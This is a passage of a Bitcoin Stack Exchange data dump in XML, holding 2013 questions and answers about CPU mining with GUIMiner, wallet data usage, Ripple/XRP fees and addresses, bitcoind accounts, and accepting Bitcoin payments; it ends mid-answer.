  <row Id="7579" PostTypeId="1" CreationDate="2013-02-12T00:20:25.703" Score="2" ViewCount="7839" Body="&lt;p&gt;I am trying to mine Bitcoin on my CPU in Windows Server 2008 R2 Datacenter. &lt;em&gt;I know about the consequences of CPU-only mining&lt;/em&gt;. I have downloaded GUIMiner - title bar looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6etH8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I configure it &lt;em&gt;(more info below)&lt;/em&gt; and hit 'Start mining!', nothing happens - bottom bar looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jh059.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Setup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Miner:&lt;/strong&gt; &lt;em&gt;Ufasoft CPU miner&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other Info:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p24cr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can help get this working, it would be much appreciated!&lt;/p&gt;&#xA;" OwnerDisplayName="user2885" LastEditorUserId="5406" LastEditDate="2016-04-24T09:29:49.430" LastActivityDate="2016-04-24T09:29:49.430" Title="GUIMiner Won't Start" Tags="|miner-configuration|cpu-mining|guiminer|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7580" PostTypeId="1" CreationDate="2013-02-12T01:03:16.260" Score="1" ViewCount="1344" Body="&lt;p&gt;After installing the app, a message appeared on my phone saying there were 83 weeks of data to synchronise. How much data is involved in this process? I don't want to exceed the data limit for my phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, 14 peers appear to be connected. While the app remains open in the background, how much data does connecting to peers require over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;comment against the app&lt;/a&gt; in the Play store says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;During the last 4 weeks, Bitcoin Wallet has consumed 166 MB of my data&#xA;  plan, 160 MB of which was running in the background. I am pretty sure&#xA;  that I had once set it to only transfer data in background when Wifi&#xA;  is on and it had been running smoothly like that for about 1 year. For&#xA;  now, I turned of &quot;Sync on Power&quot; and I hope this helps for now. But I&#xA;  think you should re-introduce the &quot;background sync only on wifi&quot;&#xA;  setting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That gives some idea of the quantities of data, but it doesn't split it into what's required for the initial synch and the ongoing connection, so my question still applies.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-01-05T13:56:21.523" LastActivityDate="2016-01-05T13:56:21.523" Title="How much data is transferred using Andreas Schildbach's Bitcoin Wallet Android app?" Tags="|synchronization|bitcoin-wallet-app|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7581" PostTypeId="2" ParentId="7580" CreationDate="2013-02-12T01:31:09.670" Score="2" Body="&lt;p&gt;Since January 14 on my Galaxy Nexus, Bitcoin Wallet for Android has used 120 &lt;em&gt;bytes&lt;/em&gt; of mobile data. It's used approximately 160 MB of data on WiFi in the same period. One month cycle earlier, it used 463 KB of mobile data, and approximately 113 MB on WiFi. I plug it in every night and whenever I'm in my car. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't answer for the amount of data necessary for the initial synchronization, other than advise you to do it on WiFi for both speed and data limit reasons.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-02-12T01:31:09.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7582" PostTypeId="1" CreationDate="2013-02-12T03:48:34.110" Score="2" ViewCount="421" Body="&lt;p&gt;What block had the most transaction fees? Why? How big can transactions be? What's the largest transaction (size, in bytes)?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-03-15T21:41:16.757" Title="What block had the most transaction fees? Why?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7583" PostTypeId="1" AcceptedAnswerId="7585" CreationDate="2013-02-12T04:43:27.177" Score="2" ViewCount="385" Body="&lt;p&gt;There is a finite amount of Ripple tokens (XRPs). If I recall correctly the amount is 100 billion XRPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opening an account requires 200 XRPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, are there only enough for 1/2 billion accounts, ever? Can the numbers be tweaked later on? Could XRPs be divided below 1 XRP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was this problem discussed anywhere? (E.g. on the Ripple forums)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-12T04:55:10.160" Title="Are there enough Ripples for everyone?" Tags="|ripple|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7584" PostTypeId="1" AcceptedAnswerId="7591" CreationDate="2013-02-12T04:48:24.333" Score="3" ViewCount="902" Body="&lt;p&gt;Is it operated by OpenCoin, the company behind Ripple?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://weexchange.co/&quot; rel=&quot;nofollow&quot;&gt;https://weexchange.co/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/wiki/Gateway_List&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Gateway_List&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-12T07:20:17.827" Title="Who operates WeExchange, the first Ripple Gateway?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7585" PostTypeId="2" ParentId="7583" CreationDate="2013-02-12T04:50:20.107" Score="3" Body="&lt;p&gt;XRP can be divided into millionths. The reserve levels can be changed by consensus. By the time this becomes an actual issue, the system will be managed by consensus and there's no way to predict what stakeholders will decide to do. The rough expectation is that they'll try to keep the cost of opening an account consistent with the actual cost imposed on the network by having an additional account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, just to point it out again, those 200 XRP aren't lost. You can use them to fund transactions. You just can't transfer or exchange them. The reserve is designed to discourage ledger spamming.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="78" LastEditDate="2013-02-12T04:55:10.160" LastActivityDate="2013-02-12T04:55:10.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7587" PostTypeId="2" ParentId="7578" CreationDate="2013-02-12T05:08:33.890" Score="3" Body="&lt;p&gt;There is currently no ETF that allows the trading of bitcoins. The idea of a bitcoin ETF has been suggested before, however nobody has set one up as of yet. The main reason being that to do so would be very complex, requiring a large amount of money and legal advice.  &lt;/p&gt;&#xA;" OwnerUserId="2890" LastActivityDate="2013-02-12T05:08:33.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7588" PostTypeId="1" AcceptedAnswerId="7593" CreationDate="2013-02-12T05:15:09.340" Score="4" ViewCount="942" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/rippleFoundation/Blob-Vault&quot; rel=&quot;nofollow&quot;&gt;Blob Vault&lt;/a&gt; is a part of the Ripple project.&#xA;What is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project should get a reamdme.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-12T08:36:22.127" Title="What is a Blob Vault?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7589" PostTypeId="1" AcceptedAnswerId="7601" CreationDate="2013-02-12T05:22:47.660" Score="2" ViewCount="73" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/issues/milestones&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; contains several milestones - versions 1,2,3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find what version is currently running on Ripple.com?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-12T13:34:27.713" Title="Where can I find the current Ripple version number?" Tags="|ripple|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7590" PostTypeId="1" AcceptedAnswerId="7592" CreationDate="2013-02-12T06:45:05.747" Score="6" ViewCount="1122" Body="&lt;p&gt;I spotted this sentence in WeExchange (a ripple gateway):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*: The ripple network may charge up to a 1% fee if you are withdrawing to an address that does not trust WeExchange for the amount.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does it mean? Why can the fee reach 1%?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="117" LastEditDate="2013-02-12T10:34:03.147" LastActivityDate="2013-02-24T21:39:04.650" Title="Does Ripple ever charge proportional transaction fees?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7591" PostTypeId="2" ParentId="7584" CreationDate="2013-02-12T07:20:17.827" Score="4" Body="&lt;p&gt;Nope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://weexchange.co/?page=helpcontact&quot; rel=&quot;nofollow&quot;&gt;contact&lt;/a&gt; page lists &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;WeExchange Australia, Pty. Ltd.&lt;/li&gt;&#xA;&lt;li&gt;WeExchange, Inc&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course, I don't know that for a fact. The whois is registered to a privacy protection company, which doesn't really fill me with confidence.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-12T07:20:17.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7592" PostTypeId="2" ParentId="7590" CreationDate="2013-02-12T08:06:47.973" Score="6" Body="&lt;p&gt;The network itself doesn't really ever charge proportional transaction fees. However, when you make a payment, that payment can take a path that can invoke any number of fees. These fees are charged by the individuals or companies who provide links in that path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The four possible fees are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Transfer fees&lt;/em&gt;: A transfer fee is a fee an IOU issuer can charge when their IOUs change hands. It is imposed by the issuer of the IOUs you hold. (This is one of the services your gateway can charge for.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Quality fees&lt;/em&gt;: A quality fee is a fee someone who holds multiple IOUs can charge when you give them IOUs they consider less trustworthy in exchange for IOUs they consider more trustworthy. It is imposed by the entity that holds both IOUs. (This is a fee someone can charge if you use their liquidity to swap IOU issuers.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Service fees&lt;/em&gt;: A service fee is a fee imposed on an IOU exchange in either direction as payment for the convenience of changing issuers. It is imposed by the entity that holds both IOUs. (This works the same as a quality fee except it can be charged in both directions and so doesn't necessarily reflect a change in quality.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Exchange fees&lt;/em&gt;: An exchange fee is essentially the same as a service fee, but it can also occur when the currency is changed as well as the issuer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When you form a transaction, the Ripple system finds the cheapest path taking these fees into account. Generally, the cost should be very close to the amount of money you are trying to deliver to the destination -- most of these fees are typically zero. If you hold IOUs from a gateway and are paying someone who trusts a gateway, these fees should total way under 1%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These fees provide the incentive for people to provide liquidity and connectivity in the Ripple system. Competition should drive these fees to near zero for typical cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, if you hold IOUs for USD at two different gateways, you could offer to exchange between the two gateways at an exchange rate that makes you a modest profit. If you provide the best path between those gateways, then someone who holds IOUs from one gateway but needs to pay someone who only trusts the other gateway can take you up on your offer and you'll wind up imposing a fee on their transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple transactions can include multiple paths and a maximum amount to pay. At the instant the transaction is processed, the system will incrementally take from whichever path has the lowest cost. If the transaction cannot be completed at or below the specified maximum cost, it will return an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might think it would be expensive to pay all these fees, but in practice, they'll be small or zero. Say you are at one exchange and you need to pay someone at another and the fee is high, say 1%. Someone with IOUs from both exchanges will see a profit opportunity -- just offer the IOUs at .9% instead. They can make money as the IOUs move back and forth and they won't have to do much. But then someone else will see an opportunity at .8% and so on. The price will get driven down to near zero unless there's some reason for the fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these fees can apply in reverse and actually result in you paying &lt;em&gt;less&lt;/em&gt; than the specified amount. If you're paying with IOUs that someone else needs, you may be able to give them the IOUs they want at a profit. So it could cost you $98 to pay me $100 if you hold IOUs that are needed and I'll accept IOUs you can get below face value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fees serve to cause transactions to do what people need done. If I have the &quot;wrong&quot; IOUs, I can just offer them in exchange for the IOUs I need at a good price and someone looking for the lowest fees will wind up fixing my problem for me. If I'm holding IOUs from someone I no longer trust, I just offer them at a discount and wait until they become someone else's cheapest path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 1% figure comes from the way WeExchange currently processes withdrawals from your exchange account to a Ripple account. If that Ripple account trusts WeExchange, they just issue that account IOUs. If not, some of the fees I mentioned above may be incurred. WeExchange currently will allow the withdrawal if it costs up to 1% more than the amount withdrawn. So if you order WeExchange to pay $100 to a Ripple account that won't take their IOUs, it may cost you more than $100 (up to $101) to do it. If it would cost more than that, WeExchange will report an error. (At least, this is my understanding. The details were relayed to me second hand and this is still subject to change.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-13T16:58:46.267" LastActivityDate="2013-02-13T16:58:46.267" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7593" PostTypeId="2" ParentId="7588" CreationDate="2013-02-12T08:36:22.127" Score="6" Body="&lt;p&gt;The &quot;blob vault&quot; is a very simple encrypted storage system used to store Ripple wallets. Your Ripple wallet stores your annotations, named accounts, and so on. You can create a new wallet with the same secret and get your funds back, so losing your wallet does &lt;em&gt;not&lt;/em&gt; mean losing your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/rippleFoundation/Blob-Vault/blob/master/server.js&quot;&gt;guts&lt;/a&gt; consist entirely of about 100 lines of Javascript.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-12T08:36:22.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7594" PostTypeId="1" AcceptedAnswerId="7595" CreationDate="2013-02-12T08:44:07.470" Score="0" ViewCount="102" Body="&lt;p&gt;I'm running bitcoind (0.8.0) and I'm wondering if there's a way to &quot;move&quot; a specific transaction from account A to account B (without actually broadcasting a new transaction). I know about the &quot;move&quot; command, but I can't target specific transactions with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason for this is that I'd like to use different accounts as &quot;tags&quot; for transactions. I want to have one single address for incoming transactions and then (after having processed them) tag them with different labels (accounts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this?&#xA;Thanks for your hints.&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2013-02-12T09:36:39.787" Title="Possible to move specific transaction from one account to another?" Tags="|transactions|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7595" PostTypeId="2" ParentId="7594" CreationDate="2013-02-12T09:36:39.787" Score="2" Body="&lt;p&gt;The only way to do that would be to change the account associated to the address that received the transaction. Have a look at &lt;code&gt;setaccount&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-12T09:36:39.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7596" PostTypeId="2" ParentId="5100" CreationDate="2013-02-12T09:42:53.827" Score="3" Body="&lt;p&gt;Checkout the updated &lt;a href=&quot;https://github.com/freewil/bitcoin-testnet-box&quot; rel=&quot;nofollow&quot;&gt;Testnet in a box&lt;/a&gt;.  You will need bitcoind already installed in your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Testnet in a box&quot; linked above is just like the world-wide bitcoin network except the only members are the 2 running on your computer. There should be no difference except that it's easier to generate coins.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2013-02-12T09:42:53.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7597" PostTypeId="2" ParentId="7577" CreationDate="2013-02-12T09:46:37.547" Score="-1" Body="&lt;p&gt;Begin by asking your local tax authority.&#xA;They would be the ones able to give you a proper definitive answer.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-12T09:46:37.547" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7598" PostTypeId="1" CreationDate="2013-02-12T10:20:53.460" Score="4" ViewCount="628" Body="&lt;p&gt;How is a Ripple address constructed? Is it similar to how a Bitcoin address works albeit with a different net byte, or are there some more differences?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-12T10:40:10.970" Title="How is a Ripple address constructed?" Tags="|address|ripple|specification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7599" PostTypeId="2" ParentId="7598" CreationDate="2013-02-12T10:40:10.970" Score="4" Body="&lt;p&gt;The structure of the address itself is basically the same as they way they're done in Bitcoin. Not only is the network byte different but the alphabet is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the client &lt;a href=&quot;https://ripple.com/wiki/Account_Family&quot; rel=&quot;nofollow&quot;&gt;generates accounts&lt;/a&gt; very differently from the way it's typically done in Bitcoin. The client begins by generating a random 128-bit seed. This seed is shown to the user and they are asked to write it down to ensure their funds are never lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any number of public/private key pair and accounts can be generated from this seed. And accounts are generated from those public keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, Bitcoin clients could generate accounts this same way and I believe that at least some do.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-12T10:40:10.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7600" PostTypeId="2" ParentId="7506" CreationDate="2013-02-12T12:46:52.343" Score="2" Body="&lt;p&gt;The 24/7/365 bitcoin trading market is pretty unique in financial markets. Here are the advantages and disadvantages as I see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantages:&lt;br&gt;&#xA;- more convenient: bitcoin can be bought and sold at any time and on any day.&lt;br&gt;&#xA;- truly international: bitcoin can be traded during business hours in every country and every timezone.&lt;br&gt;&#xA;- increased profitability: more trades means a good trader can make more money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disadvantages:&lt;br&gt;&#xA;- increased risk: important market movements can occur while you're sleeping, causing trading losses.&lt;/p&gt;&#xA;" OwnerUserId="2890" LastActivityDate="2013-02-12T12:46:52.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7601" PostTypeId="2" ParentId="7589" CreationDate="2013-02-12T13:34:27.713" Score="2" Body="&lt;p&gt;Start the client at &lt;a href=&quot;http://ripple.com/client&quot; rel=&quot;nofollow&quot;&gt;http://ripple.com/client&lt;/a&gt;, the version number is written at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it's 0.1.17&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-12T13:34:27.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7602" PostTypeId="1" AcceptedAnswerId="7612" CreationDate="2013-02-12T17:32:44.460" Score="3" ViewCount="184" Body="&lt;p&gt;Quick question regarding a transaction that I am having an issue with, about a week ago I bought some BTC with MtGox, however when I withdrew the BTC I opted not to pay the fee. One week later I am still waiting for the BTC, can I pay a fee myself to process the transaction quicker, post original transaction?&lt;/p&gt;&#xA;" OwnerUserId="2896" LastEditorUserId="1878" LastEditDate="2013-03-19T14:43:24.587" LastActivityDate="2013-03-19T14:43:24.587" Title="Why does my client not show funds that were sent to me?" Tags="|transactions|mtgox|transaction-fees|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7603" PostTypeId="1" AcceptedAnswerId="7605" CreationDate="2013-02-12T17:50:32.690" Score="8" ViewCount="1330" Body="&lt;p&gt;I understand that a transaction can have multiple outputs. But can two outputs  in a transaction refer to the same target address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how this would like in pseudo style:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[vout] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; Array&#xA;                (&#xA;                    [value] =&amp;gt; 0.01&#xA;                    [scriptPubKey] =&amp;gt; Array&#xA;                        (&#xA;                            [addresses] =&amp;gt; Array&#xA;                                (&#xA;                                    [0] =&amp;gt; bitcoinaddress_xyz&#xA;                                )&#xA;&#xA;                        )&#xA;&#xA;                )&#xA;&#xA;            [1] =&amp;gt; Array&#xA;                (&#xA;                    [value] =&amp;gt; 0.02&#xA;                    [scriptPubKey] =&amp;gt; Array&#xA;                        (&#xA;                            [addresses] =&amp;gt; Array&#xA;                                (&#xA;                                    [0] =&amp;gt; bitcoinaddress_xyz&#xA;                                )&#xA;&#xA;                        )&#xA;&#xA;                )&#xA;&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the same address &quot;bitcoinaddress_xyz&quot; appears in both outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it would not make much sense to construct a transaction like this – I just would like to know if it is technically possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2013-02-12T20:21:51.013" Title="Can a single transaction have multiple outputs going to the same address?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7605" PostTypeId="2" ParentId="7603" CreationDate="2013-02-12T20:21:51.013" Score="8" Body="&lt;p&gt;It is possible. Here is an example: &lt;a href=&quot;http://blockchain.info/tx/4199f709bfab79f54938e80e11dc75c21a95e3183f8e8994306f5ff272fde42a&quot;&gt;http://blockchain.info/tx/4199f709bfab79f54938e80e11dc75c21a95e3183f8e8994306f5ff272fde42a&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the bitcoin-qt GUI doesn't allow creating such transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such transactions might be useful in the context of colored coins, or where encoding information is involved.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-12T20:21:51.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7606" PostTypeId="1" AcceptedAnswerId="7607" CreationDate="2013-02-12T21:53:13.730" Score="7" ViewCount="522" Body="&lt;p&gt;I'm curious about offering Bitcoin payment instead of PayPal (for all the usual reasons for disliking PayPal). Is this realistic, or is my understanding of how bitcoins can be used off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My customers are mostly nerds or at least tech-savvy people, so they are somewhat likely to be familiar with Bitcoin, and equally likely to be sceptical towards PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any decent guides on how the whole thing ties together, and which merchant actors are considered serious or &quot;big players&quot;? I'll be looking at getting the bitcoins through whichever funnel is required and transferred to my &quot;real cash&quot; bank account (in any currency, really) as quickly as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it wouldn't hurt if I could get the coins all the way to my bank account for a &amp;lt;2% commission, but I'll take reliability over price any day of the week.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Clarification: I sell a commercial software license to an open source product (free for personal, non-profit etc use), so there's nothing to be delivered upon purchase. Current options are hand-rolled integration to credit card and PayPal providers.&lt;/p&gt;&#xA;" OwnerUserId="2898" LastEditorUserId="5406" LastEditDate="2014-05-25T10:16:56.607" LastActivityDate="2014-05-25T10:16:56.607" Title="What methods are available to accept Bitcoin payments?" Tags="|payment|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7607" PostTypeId="2" ParentId="7606" CreationDate="2013-02-13T00:47:55.720" Score="4" Body="&lt;p&gt;There are a number of approaches, and the best method for you will vary on a number of factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if you sell a digital good it might be easier to simply sell the item through an online store like &lt;a href=&quot;http://coindl.com&quot; rel=&quot;nofollow&quot;&gt;CoinDL&lt;/a&gt;, where you simply direct your customers there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, if you sell a couple of items at a fixed rate, you could sell it on &lt;a href=&quot;http://bitmit.net&quot; rel=&quot;nofollow&quot;&gt;BitMit.net&lt;/a&gt;, again -- your e-commerce site simply directs your site visitors looking to pay with bitcoins there.  A &lt;a href=&quot;http://blog.coinbase.com/post/37274999622&quot; rel=&quot;nofollow&quot;&gt;blog post on Coinbase&lt;/a&gt; describes a &quot;Buy Now&quot; button modeled after another leading e-commerce payment solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already use an e-commerce shopping cart you might have an easy way to start accepting bitcoin if there is a module for that &lt;a href=&quot;http://en.bitcoin.it/wiki/Category%3aShopping_Cart_Interfaces&quot; rel=&quot;nofollow&quot;&gt;cart interface software that accepts bitcoin&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When following the DIY route, you can have the proceeds of your sales converted to fiat upon receipt.  Some exchanges (like Mt. Gox) offer &quot;autosell&quot; for shopping cart tools so that proceeds convert to USDs (or other currency) upon receipt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way, however, is to use a payment processor like &lt;a href=&quot;http://bitpay.com&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt;, &lt;a href=&quot;http://walletbit.com&quot; rel=&quot;nofollow&quot;&gt;WalletBit&lt;/a&gt;, &lt;a href=&quot;http://paysius.com&quot; rel=&quot;nofollow&quot;&gt;Paysius&lt;/a&gt;, and &lt;a href=&quot;https://zipbit.co&quot; rel=&quot;nofollow&quot;&gt;ZipBit&lt;/a&gt;.  These are used in a similar way that a site uses PayPal to accept payment online.  The payment processor will provide all that is needed for your e-commerce site, and will provide a method to receive cash via a bank transfer.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-02-13T01:49:31.293" LastActivityDate="2013-02-13T01:49:31.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7609" PostTypeId="1" AcceptedAnswerId="7611" CreationDate="2013-02-13T02:25:56.973" Score="15" ViewCount="13099" Body="&lt;p&gt;How Ripple is different from bitcoin and other crypto-currencies? What does Ripple do that is different from bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Riple and Bitcoin are two different implementation of p2p currency and fund transfer protocol. Similar constructs exist both the sides, like bitcoin block chain vs. Ripple ledger, both systems support irreversible transactions, distributed, p2p (eliminates third party and banks), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One difference I noticed, is transaction fees is lower in case of Ripple.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2018-05-20T20:32:25.517" Title="How Ripple is different from Bitcoin and other crypto-currencies?" Tags="|transaction-fees|ripple|currencies|" AnswerCount="1" CommentCount="0" ClosedDate="2013-02-14T16:52:20.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="7611" PostTypeId="2" ParentId="7609" CreationDate="2013-02-13T02:47:28.917" Score="23" Body="&lt;p&gt;There are several major differences. Bitcoin is a currency with a built in payment system for its currency. The XRP Ledger is a payment system for arbitrary currencies with support for cross-currency transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One big difference is that currencies (other than XRP) are represented as debts (IOUs) on the ledger. This is much the way currencies are represented in the conventional banking system. When you say, &quot;I have $5,000 in my bank account&quot;, what you mean is that the bank owes you $5,000. When you write someone a check, you are transferring debt so that their bank owes them more money and thus they consider you to have paid them. Ripple works this same way -- payments occur by a transfer of debt (IOU).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can generally get a Bitcoin transaction through for free if you're patient. XRP Ledger transactions always have an XRP cost. In practice, this cost should remain very low. Transaction fees are destroyed on the XRP Ledger, they aren't paid to anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XRP Ledger payments that use assets other than XRP can incur fees other than transaction fees. It is hoped that competition will keep these costs low. If your payment requires using someone else's liquidity, they can impose a fee for that liquidity. IOU issuers can impose fees on transfers of IOUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XRP Ledger transactions should confirm more quickly, typically in under 10 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the XRP 